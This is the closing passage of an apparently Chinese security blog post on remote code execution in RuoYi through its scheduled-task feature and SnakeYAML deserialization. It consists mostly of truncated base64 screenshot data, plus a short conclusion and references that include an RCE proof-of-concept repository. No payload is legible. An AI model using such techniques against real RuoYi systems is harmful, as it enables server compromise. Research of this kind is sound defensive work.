TyRwKg4rlWVwzRjDFeqCgiIepWhjGXoEyZtmW0BcdATc9vbO4+dy4isuU6rtVct2zkHyEOz5hr7yv6x8/4j1zLyIVyqjU0qjHtBaOgITn181uH7kb04GkNjY7Np+CsiIiIiIiIiIiIiIiJyM+hyAHzljbVceWNt5zY+ewor0QTast1hD62lJfvHNO20VcIeexnLe9EMyZrrPHduN/A0B/Cge77PoOxXuHw2l+HnX+Za7TyGPNQePrsHuQbT1tEOFb3DHtrPoDdXYHmvwrawwGj7HLqcoCe+xnWn6mJDwO3tLbGdA+6+wXHO34kTxrrNCdwbQkKCuXd2kukye+Wvp+UiIiIiIiIiIiIiIiIi/V2XA+BBoZ4rc1sbznpcBsD5U1gjZzpUssYTnLWW5uwf05QN/la6egplnVtAYwtkvVUS28aQGk1T4QouNVQwKHW/0/GN9tN2niuNr765gquYHMuxzfOxl2kqa19kD6Xtz+m6+9Z9hmP4u/CR+2houATQJ0JgERERERERERERERERkZtVlwPg4Cde9bjs8o4sL3MA2+b2jZrvZe8FXH9zPnht/+waytr27bEFdDnWhjgCbvWyw1snEtBQgDV0OUM9tJAGuLLzMaM9tck6rX+tgFvcHx8IXMNfMJ8TWCGwiIiIiIiIiIiIiIiIyI3V5QDY8vZ/MnjCdNNl1sZznjc8lk9LwzyG2MPds7u59Nv1WDEqYUdOAyinOfsxmt5zro69+uYKLO9BYOosWn+7gsvfyWW4r8LetuMeojV0FkGe1reNIyB1P0MvrMCSfYDrrvs/9jJNRQVGNe8T8WY7ofUiBMSYHKTWXt1sE7q87ctWl4rlgD4YIO/5r0Nu4a+dQmARERERERERERERERGR3tXlAPjq269yFc9VwJ5cqSow2ivbw1TmMSTLtZI3vm3u2ys7beFo5FqGAIH2UHbaRJqzZ9NkdhCTFtBDKGBQ4n54cwVNtvl4B9mD2ob1WH4bR+B39tsC31yG3lNu7D90OUGJp7DYg9+sp52fj2sb6lDzyuAb2gJ62tO2IL37hIYE843keL6RnGC+3CEEDg0d0b0HFxERERERERERERERERGvAqxWq7UzG155I5trx//br3VH2kJc6X5GNXQFENceinviUGXtFET3UfV/vUTIiCHdtr839pcCcO/spG7bp4iIiIiIiIiIiIiIiEhf0ukAuLXhHC0fH6W18azX9YLu+G6nBibS3QFwY2MzISHB3bY/ERERERERERERERERkb6m0wGwSE/r7gBYREREREREREREREREZKAb1NsDEBERERERERERERERERGR7qEKYOnTLBZLbw9BREREREREREREREREpN9QBbCIiIiIiIiIiIiIiIiIyAChAFhEREREREREREREREREZIBQACwiIiIiIiIiIiIiIiIiMkAoABYRERERERERERERERERGSAUAIuIiIiIiIiIiIiIiIiIDBAKgEVEREREREREREREREREBggFwCIiIiIiIiIiIiIiIiIiA4QCYBERERERERERERERERGRAWJwbw9AxJvGS9d6ewgiIiIiIiIiIiIiIiIi/UaA1Wq19vYgRERERERERERERERERESk69QCWkRERERERERERERERERkgFAALCIiIiIiIiIiIiIiIiIyQCgAFhEREREREREREREREREZIBQAi4iIiIiIiIiIiIiIiIgMEAqARUREREREREREREREREQGCAXAIiIiIiIiIiIiIiIiIiIDhAJgEREREREREREREREREZEBQgGwiIiIiIiIiIiIiIiIiMgAoQBYRERERERERERERERERGSAGNzdO2xpaeHKlStcv369u3ctIiIi/czgwYMZNmwYgYGBvT0UERERERERERERkZtCgNVqtXbnDpubmxkyZAhDhw
<p blockindex=120>执行上边的步骤修改任务1，在运行任务1</p>
<p blockindex=121><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAAOnCAYAAADBRFtbAAAgAElEQVR4nOzde3yU9Z3//dd1zSmTyeSckISQECDhEBAFVMAKUopgi7byay12W7s94P3b262t3V8XH7d9uL/lofvT7vZwt7e7XV3r1nqq7WKrVLGspWgFLIoHzmcSMAmQ82QymdN13X/MBHKYQKCBhPh+Psqjmeu6vtd8r7nC4GPe8/l8jQMHD9mIiIiIiIiIiIiIiIiIiMhlz/lXv3h7uOcgIheZOzNvuKcgIiIiIiIiIiIiIiIil4A53BMQEREREREREREREREREZGhoQBYRERERERERERERERERGSUUAAsIiIiIiIiIiIiIiIiIjJKKAAWERERERERERERERERERklFACLiIiIiIiIiIiIiIiIiIwSCoBFREREREREREREREREREYJBcAiIiIiIiIiIiIiIiIiIqOEAmARERERERERERERERERkVFCAbCIiIiIiIiIiIiIiIiIyCihAFhEREREREREREREREREZJRQACwiIiIiIiIiIiIiIiIiMkooABYRERERERERERERERERGSUUAIuIiIiIiIiIiIiIiIiIjBIKgEVERERERERERERERERERgnncE9ARERERERERERERERERD46XKEmmndvIVa3i+baw3S1nMKOdOIwIN3vJ6eoiEjGONLLp5NReTVWRsFwT/myogBYRERERERERERERERERC66gsABxjS9R7jmPT58excOM0Ks3cKM29iAL80k09WFO3CSxqNHaHzvD3hcLiqu/QSu6sVEi6cP9yVcFhQAi4iIiIiIiIiIiIiIiMhFM4YWrjP2UOY/xYedrewwDUwTQmGbdI9BOGJg2zZj8x2EIgamYeBymliWA8M0iR7bjePEQYqvvB7P/Ns52hYf7ksa0RQAi4iIiIiIiIiIiIiIiMhFkV+3hTHHNnAYOOpwYBgQsywsG2wDbBtME/xuJwVpbmLpmRTm5jGn0snBupPsr2/CsIJEI2Ha9v+ZOVkWbVTQUnrtcF/aiOUYe8Pn/vdwT0JELi6HJ324pyAiIiIiIiIiIiIiIh8x4469StmpzTidBqbDwDBssCESiXK49iTBUIxY1CbX5+LqMi9ew0n1hIk4XF6MSCt3f/kmAu1NBDpbCcWiRCIRTtXXU2414rQidGRPGO5LHJHM4Z6A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
<p blockindex=122><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB3wAAAIqCAYAAADPbTv+AAAgAElEQVR4nOzde1yU9533/xei4oqCNhAPRbBhEaFWIXULDTYksdKEiCZbE2JsamtzUBtX70Jr8nM3TbK/3K0r7MqaimtbUzdVY6U1iLpZrKlYSeARN6IxEGRpxBBP2ERAjKPC3H9cMzCHaw6cBMz72UcehblO37lgZvB6X5/PN+D8hWYrItLvhN8yoq+HID2k4a+X+noIIiIiIiIiIiIiIiJykwqwWq0KfKXfslgsfT0EERERERERERERERERkX5rUF8PQEREREREREREREREREREukaBr4iIiIiIiIiIiIiIiIjIAKXAV0RERERERERERERERERkgFLgKyIiIiIiIiIiIiIiIiIyQCnwFREREREREREREREREREZoBT4ioiIiIiIiIiIiIiIiIgMUAp8RUREREREREREREREREQGKAW+IiIiIiIiIiIiIiIiIiIDlAJfEREREREREREREREREZEBSoGv9FsNf73U10MQERERERERERERERER6dcU+IqIiIiIiIiIiIiIiIiIDFCDu7Ox5a3/dHtsUMhYhkxJ685uRXpFU1MLACEhwX08EhEREREREREREREREZGe0eXA98obOVw7/t+my66+/Sp/83AOg0LHdHlghgpacn5Mm/3bqDWMfCgBOMvlXxYw6ImnGeZ67DeXY/nr923rmTnL5V8+RmtjxyMBt7/KiLACmosLzTcJXUbQE3MYajI20vYRPNW/Z3P1zeVY3q002ffXuO4ypvZx3TPWv52LT2+VvwfAvbOS+3gkIiIiIiIiIiIiIiIiIj2jy4Gvp7AXoK3xLJ/9LtuP0Ncl0HUzlyHZ+3CvxxzL4OgaLDsqGOYU7J7lem0lg5I8hb0dBtmC2is7ZnHd/qBZsHvsZZrL3be/ssM27uJZNBd7OEh7QO3hMZd9D3IIj53G5UVHiBxP4HfyGO6YDx97mebyyI7ndHYXl367Dqunsfnh2PEaGhsv8Y2URK/r/bn0CIDP9URERERERERERERERESk67rV0tkb/0Nfk6DSD0PveZbrv3yMlmP7CKyexbU6h4UeQthBnajGtbt6oQZGzXAKga/ssB9vLkOyPVQZvwuB3zAJVOt+THOOw/ehy9q/bHMZd8Atfg7SLbx1CNId9s/YOYzInmOrgvZz3y4aGy/x59IKGptamH3fDNN1trz2X9SdOsvUr8R07SAiIiIiIiIiIiIiIiIi4pdeC3yhI/QNfuLVXtj7WIYnzaW5uoLgh/YxDFtV7C3+tUF2DFddg1Xn1svxBH6nI0y9smMW11jDyOwEY72c5bS1B9b2dtFeQuwervB1d5bLv/wx1ttfZWRYgWl1cndMnWKEuH8urQBwC33tYW9U5FiPgbCIiIiIiIiIiIiIiIiI9IxeDXzBCH1bPzpK4IRpHtaopPW3s2j2Y19uFbpTn2ak/fuzu7heN5fBD43FHrxakzxX9Jq2dLYZek8eQ+8x2ejYy1y/5VVG2gLloffkMTTsZZodxh9we8dyV0PvyXNuFz31aUbeuotLOQUMzt7HMFtlrvX2Vxnx0D5vp8KLsQx/wrbtsS7uwovQ0BEeQ1/HsHfBI/f1/MFFRERERERERERERERExEmvB74AbY3nCJzgaalRDTvoz16qc4+9THMxBDpUvxotlTsqaa/8eR3c/qpbe+VOaVyHJWcdFrcFttbNU59mRPtj5vMPW999jOZ3TVo9H3uZ5uJCj4e+llPINfs37z5G87u2r7s4125vMgt9GxubFfaKiIiIiIiIiIiIiIiI3GDdDnyHZ+aYVu+2NZ7jyhtraP3oqF/7GRY7l+biAq7c4zon7lkulxcS4BDmDnvIXg37iu2RClrrwFrnEJSCy1y+fswVHDqXQRSCY2XwsZdpLo9kUHu7ZvvKcxmSvY9gs/2c3cWlHIeq5ag1jHzoaUZOfdphJVtgHLqMoAy4+tt1WPthuOuJWejbX8Let8reo6m5xe3x+vpzALyxr8x0uzuSvkJIiOlPVERERERERERERERERKRf6nbg6716txOmPs2Q6llc2zGDYQ6h59U3f0YrywjyOi9vAsHZji2Qfbd0Np/DN5LA6HiuVVfAVGMMV6oLCYh+laGMZegTJm2WbYFw0BNzOto1j53DiOw5Tqt1VCXbOQfGQ7PnGPvK+bHz/qPWMPIhXKqJTSqI+0Bo6AhOfXTW4fuRfTgaQ1NTi2nYKyIiIiIiIiIiIiIiInIz6nbge+WNNVx5Y03XNj57CisxBNqy3GEPraE158c077BVuh57Gcu7MQzJnuM8920P8DSH76B7vs+gnFe4fDaP4edf5lrdXIY81BE2uwe3BtNW0A4Vu8Me2segN5djebfStrDQaOMcuoygJ77GdafqYUPA7R0trp0D7f7Bcc7eyAlj3eb07QshIcHcOyvZdJm9stfTchEREREREREREREREZGBptuB76BQz5W3bY1nPS4D4PwprFEzHCpVEwjOXkNLzo9pzgF/K1k9hbDOLZ2xBbDeKoVtY0iLobloOZcaKxmUts/p+EY7aTvPlcRX31zOVUyO5di2+djLNJd3LLKH0PbndN19637DMexd8Mh9NDZeAugXoa+IiIiIiIiIiIiIiIjI50W3A9/gJ171uOzy9mwvc/ja5uaNnudl74Vcf3MeeG3n7BrC2vbtsaVzBdbGeAJu9bLDWyMJaCzEGrqMoR5aQgNc2fGY0W7aZJ22v1bCLe6P3wxcw14wn9NXoa+IiIiIiIiIiIiIiIhI7+p24Gt56z8ZPGGa6TJr0znPGx4roLVxLkPsYe7ZXVz67TqsGJWuI6cCVNCS8xjN7zpXv159czmWdyEwbSZtv13O5e/kMdxX4W77cQ/RFjqTIE/r28YRkLaPoReWY8nZz3XX/R97mebiQqNa94kEs53QdhECYk0OUmevXrYJXdb+ZZtLRXJAPwyMd//XIbew106hr4iIiIiIiIiIiIiIiMiN1e3A9+pbr3IVz1W+nlypLjTaJdvDU+YyJNu1Ujehfe7aKztsYWjUGoYAgfYQdmokLTmzaDY7iElL5yEUMihpH7y5nGbbfLqD7MFs4zosv40n8Dv7bAFvHkPvqTD2H7qMoKRTWOxBb/bTzs/Hta10qHnl7w1t6Tz1aVtw3nNCQ4L5RkoC30hJNF/uEPqGho7o2YOLiIiIiIiIiIiIiIiIiJMAq9Vq7cqGV97I4drx//Zr3ZG20FZ6nlHtXAnEd4TgnjhUUTsFz/1Uw18vETJiSI/t7419ZQDcOyu5x/YpIiIiIiIiIiIiIiIi0pe6HPi2NZ6j9aOjtDWd9bpe0B3f7dLARHo68G1qaiEkJLjH9iciIiIiIiIiIiIiIiLS17oc+Ir0tp4OfEVERERERERERERERERuNoP6egAiIiIiIiIiIiIiIiIiItI1qvCVfs1isfT1EERERERERERERERERET6LVX4ioiIiIiIiIiIiIiIiIgMUAp8RUREREREREREREREREQGKAW+IiIiIiIiIiIiIiIiIiIDlAJfEREREREREREREREREZEBSoGviIiIiIiIiIiIiIiIiMgApcBXRERERERERERERERERGSAUuArIiIiIiIiIiIiIiIiIjJAKfAVERERERERERERERERERmgBvf1AES8abp0ra+HICIiIiIiIiIiIiIiItJvBVitVmtfD0JERERERERERERERERERDpPLZ1FRERERERERERERERERAYoBb4iIiIiIiIiIiIiIiIiIgOUAl8RERERERERERERERERkQFKga+IiIiIiIiIiIiIiIiIyAClwFdEREREREREREREREREZIBS4CsiIiIiIiIiIiIiIiIiMkAp8BURERERERERERERERERGaAU+IqIiIiIiIiIiIiIiIiIDFAKfEVEREREREREREREREREBqjBPb3D1tZWrly5wvXr13t61yIiIjLADB48mGHDhhEYGNjXQxERERERERERERG5KQVYrVZrT+6wpaWFIUOGMHTo0
<h2 blockindex=123>总结</h2>
<p blockindex=124>碰上前言中说到的事确实感到挺无奈却又无可奈何。也有可能是我能力不够分析有误，如果有问题希望各位师傅及时指正！</p>
<h2 blockindex=125>参考</h2>
<p blockindex=126><a href=https://xz.aliyun.com/t/10687>https://xz.aliyun.com/t/10687</a></p>
<p blockindex=127><a href=https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%AF%E5%88%A9%E7%94%A8Gadget%E5%88%86%E6%9E%90>https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%AF%E5%88%A9%E7%94%A8Gadget%E5%88%86%E6%9E%90</a></p>
<p blockindex=128><a href=https://www.cnblogs.com/pursue-security/p/17658404.html#_label1_3>https://www.cnblogs.com/pursue-security/p/17658404.html#_label1_3</a></p>
<p blockindex=129><a href=https://xz.aliyun.com/t/10957>https://xz.aliyun.com/t/10957</a></p>
<p blockindex=130><a href=https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC>https://github.com/luelueking/RuoYi-v4.7.8-RCE-POC</a></p></div></div>
</div>
<div class="post-opt mt-30">
<ul class="list-inline text-muted">
<li>
<i class="fa fa-clock-o"></i>
发表于 2024-03-14 09:00:01
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
Reference in New Issue Copy Permalink